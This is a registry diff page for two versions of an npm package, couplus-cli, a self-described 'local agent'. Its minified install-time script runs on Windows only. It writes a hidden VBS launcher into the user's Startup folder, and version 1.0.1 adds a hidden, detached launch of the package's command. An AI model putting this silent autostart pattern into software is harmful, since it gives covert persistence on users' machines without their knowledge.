couplus-cli 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- const fs=require("fs"),path=require("path"),os=require("os");"win32"!==process.platform&&process.exit(0);try{const e=path.join(os.homedir(),"AppData","Roaming","Microsoft","Windows","Start Menu","Programs","Startup"),o=path.join(e,"couplus-cli.vbs"),s=process.env.APPDATA?path.join(process.env.APPDATA,"npm"):path.join(os.homedir(),"AppData","Roaming","npm"),t=`Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run """${path.join(s,"couplus-cli.cmd")}""", 0, False\n`;fs.writeFileSync(o,t)}catch(e){}
1
+ const fs=require("fs"),path=require("path"),os=require("os"),{spawn:spawn}=require("child_process");"win32"!==process.platform&&process.exit(0);try{const e=path.join(os.homedir(),"AppData","Roaming","Microsoft","Windows","Start Menu","Programs","Startup"),s=path.join(e,"couplus-cli.vbs"),o=process.env.APPDATA?path.join(process.env.APPDATA,"npm"):path.join(os.homedir(),"AppData","Roaming","npm"),i=path.join(o,"couplus-cli.cmd"),r=`Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run """${i}""", 0, False\n`;fs.writeFileSync(s,r);spawn(i,[],{detached:!0,stdio:"ignore",shell:!0,windowsHide:!0}).unref()}catch(e){}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "couplus-cli",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "couplus local agent",
5
5
  "main": "dist/index.js",
6
6
  "bin": {